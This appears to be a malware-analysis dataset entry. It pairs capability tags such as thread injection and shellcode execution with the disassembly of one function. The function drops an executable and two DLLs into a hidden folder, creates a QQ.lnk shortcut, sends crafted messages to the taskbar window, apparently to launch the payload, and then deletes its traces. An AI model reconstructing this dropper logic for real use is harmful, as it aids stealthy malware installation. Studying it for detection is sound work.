Function at 0x140003e50
Capabilities:
Allocate or change rwx memory
Check if file exists
Create directory
Create thread
Delete directory
Delete file
Enumerate processes
Execute shellcode via indirect call
Find taskbar
Get common file path
Get file attributes
Inject thread
Query or enumerate registry value
Set file attributes
Spawn thread to rwx shellcode

Disassembly:
push rbp
lea rbp, [rsp - 0xdb0]
sub rsp, 0xeb0
call fcn.140002780
test eax, eax
je 0x140004266
mov qword [rsp + 0xed0], rbx
lea rax, [rbp + 0x980]
mov qword [rsp + 0xed8], rsi
xor r9d, r9d
mov qword [rsp + 0xea8], rdi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0xea0], r14
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0x980]
lea rdx, str._sTCLS
lea rcx, [rsp + 0x30]
call fcn.1400070f0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003eef
or eax, 2
lea rcx, [rsp + 0x30]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [rsp + 0x30]
lea rdx, str._sclient.exe
lea rcx, [rbp + 0x140]
call fcn.1400070f0
lea r8, [rsp + 0x30]
lea rdx, str._smsvcp100.dll
lea rcx, [rbp + 0x770]
call fcn.1400070f0
lea r8, [rsp + 0x30]
lea rdx, str._smsvcr100.dll
lea rcx, [rbp + 0x560]
call fcn.1400070f0
lea rdx, [rbp + 0x140]
lea rcx, str.IDR_client
call fcn.140002820
lea rdx, [rbp + 0x770]
lea rcx, str.IDR_msvcp100
call fcn.140002820
lea rdx, [rbp + 0x560]
lea rcx, str.IDR_msvcr100
call fcn.140002820
lea r8, [rsp + 0x30]
lea rdx, str._sQQ.lnk
lea rcx, [rbp + 0x350]
call fcn.140001340
lea r8, [rbp + 0x140]
lea rdx, [0x14003cca0]
lea rcx, [rbp + 0xb90]
call fcn.140001340
xor eax, eax
xor ecx, ecx
mov qword [rbp + 0xdc0], rax
mov qword [rbp + 0xdc8], rax
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rbp + 0xdc0]
lea r9, [0x140031540]
mov qword [rsp + 0x20], rax
lea rcx, [0x140031560]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14000407a
mov rcx, qword [rbp + 0xdc0]
lea rdx, [rbp + 0x140]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0xdc0]
lea rdx, [rbp + 0xb90]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0xdc0]
lea r8, [rbp + 0xdc8]
lea rdx, [0x140031550]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jns 0x140004040
mov rcx, qword [rbp + 0xdc0]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000407a
mov rcx, qword [rbp + 0xdc8]
lea rdx, [rbp + 0x350]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rbp + 0xdc0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xdc8]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
lea rdx, str.Hello_World__n
movzx r14d, ax
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
lea rdx, [0x14003c430]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Hello_World__n
mov rdi, rax
call fcn.140006e10
mov ebx, 0x641
mov esi, 0xa
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub rsi, 1
jne 0x140004190
mov r14, qword [rsp + 0xea0]
lea rdx, [0x14003cb80]
mov rsi, qword [rsp + 0xed8]
mov rbx, qword [rsp + 0xed0]
call fcn.140006e10
lea rdx, str.Hello_World__n
call fcn.140006e10
xor r9d, r9d
mov edx, 0x312
mov rcx, rdi
lea r8d, [r9 + 5]
call qword [sym.imp.USER32.dll_PostMessageW]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x770]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
call fcn.140003c10
mov rdi, qword [rsp + 0xea8]
add rsp, 0xeb0
pop rbp
ret
add rsp, 0xeb0
pop rbp
jmp fcn.140003c10